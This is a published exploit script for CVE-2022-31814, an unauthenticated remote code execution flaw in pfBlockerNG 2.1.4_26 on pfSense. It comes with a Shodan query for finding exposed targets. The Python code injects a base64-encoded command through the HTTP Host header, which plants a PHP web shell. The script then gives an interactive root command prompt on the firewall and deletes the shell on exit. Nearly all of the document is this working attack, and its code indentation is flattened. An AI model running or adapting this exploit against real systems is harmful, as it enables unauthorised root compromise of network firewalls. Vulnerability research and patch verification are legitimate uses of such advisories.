pfBlockerNG 2.1.4_26 Remote Code Execution

`# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)  
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22  
# Date: 5th of September 2022  
# Exploit Author: IHTeam  
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html  
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169  
# Version: 2.1.4_26  
# Tested on: pfSense 2.6.0  
# CVE : CVE-2022-31814  
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/  
  
#!/usr/bin/env python3  
import argparse  
import requests  
import time  
import sys  
import urllib.parse  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")  
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")  
args = parser.parse_args()  
  
url = args.url  
shell_filename = "system_advanced_control.php"  
  
def check_endpoint(url):  
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)  
if response.status_code == 200:  
print("[+] pfBlockerNG is installed")  
else:  
print("\n[-] pfBlockerNG not installed")  
sys.exit()  
  
def upload_shell(url, shell_filename):  
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}  
print("[/] Uploading shell...")  
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)  
time.sleep(2)  
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)  
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):  
print("[+] Upload succeeded")  
else:  
print("\n[-] Error uploading shell. Probably patched ", response.content)  
sys.exit()  
  
def interactive_shell(url, shell_filename, cmd):  
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)  
print(str(response.text)+"\n")  
  
  
def delete_shell(url, shell_filename):  
delcmd = "rm /usr/local/www/system_advanced_control.php"  
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)  
print("\n[+] Shell deleted")  
  
check_endpoint(url)  
upload_shell(url, shell_filename)  
try:  
while True:  
cmd = input("# ")  
interactive_shell(url, shell_filename, cmd)  
except:  
delete_shell(url, shell_filename)  
  
`